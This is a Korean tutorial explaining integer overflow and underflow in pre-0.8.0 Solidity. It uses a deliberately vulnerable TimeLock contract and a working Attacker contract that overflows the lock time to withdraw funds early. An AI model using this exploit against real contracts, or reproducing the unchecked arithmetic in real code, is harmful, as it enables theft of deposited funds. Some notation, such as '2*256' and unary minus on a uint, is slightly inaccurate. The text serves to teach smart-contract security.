산술 오버플로우/언더플로우

Solidity 0.8.0부터 산술 오버플로우/언더플로우는 문제가 되지 않습니다. 그러나 이전 버전을 사용하는 경우 이 부분을 처리해야 합니다.

먼저 underflow/overflow가 무엇인지 이해합시다.
  • 오버플로: 변수가 uint의 최대 제한(2**256-1)을 초과하면 0이 됩니다
  • .

    예: uint var1 = 2**256 - 1

    var1 + 1은 0이 됩니다.
    var1 + 2는 1이 됩니다.
  • 언더플로: 변수가 최소 단위(0)보다 작은 값으로 줄어들면 최대값(2**256-1)이 됩니다.

  • 예: uint var2 = 0

    var2 -1 = 2*256 -1
    var2 -2 = 2*256 -2

    이제 예를 들어 이해해 봅시다. 사용자로부터 eth를 수락하고 일정 시간 동안 잠그는 계약을 고려하십시오. 사용자는 이 시간 제한 전에는 출금할 수 없지만 원하는 경우 시간 제한을 늘릴 수 있습니다.

    contract TimeLock {
        mapping (address => uint) public balances;
        mapping (address => uint) public lockTime;
    
        function deposit() external payable{ // to deposit
            balances[msg.sender] += msg.value;
            lockTime[msg.sender] += block.timestamp + 1 weeks;
        }
    
        function withdraw() external { // to withdraw
            uint bal = balances[msg.sender]; 
            require(bal > 0, "No balance to withdraw");
            require(lockTime[msg.sender] <= block.timestamp, "Time left yet");
    
            balances[msg.sender] = 0; // updating before sending, to avoid reentrancy
    
            (bool sent,) = msg.sender.call{value: bal}("");
            require(sent, "Send ETH failed");
        }
    
        function increaseTimeLimit(uint _seconds) external { // to increase lock time
            lockTime[msg.sender] += _seconds;
        }
    }
    


    이제 공격자가 이 컨트랙트를 해킹하고 즉시 자금을 얻으려면 오버플로만 하면 됩니다lockTime[msg.sender]. 이 작업이 완료되면 require(lockTime[msg.sender] <= block.timestamp, "Time left yet"); 함수의 withdraw()가 통과됩니다(lockTime[msg.sender]가 오버플로 후 작은 숫자와 같기 때문입니다).

    공격자가 이를 달성하는 방법을 살펴보겠습니다.

    contract Attacker {
        TimeLock timeLockContract;
        receive() external payable{
        }
    
        constructor(address _timeLock) {
            timeLockContract = TimeLock(_timeLock);
        }
    
        function deposit() external payable {
            timeLockContract.deposit{value: msg.value}();
        }
    
        function attack() external {
            timeLockContract.increaseTimeLimit(uint(-timeLockContract.lockTime(address(this))));
            timeLockContract.withdraw();      
        }
    
        function getBalance() external view returns(uint) {
            return address(this).balance;
        }
    
    }
    

    attack() 함수에서 언더플로를 사용하여 매우 큰 숫자를 얻습니다: timeLockContract.increaseTimeLimit(uint(-timeLockContract.lockTime(address(this)))); . 이 큰 숫자는 TimeLock 계약에서 lockTime[msg.sender]에 추가되어 오버플로를 유발합니다. 따라서 인출이 실행됩니다.

    좋은 웹페이지 즐겨찾기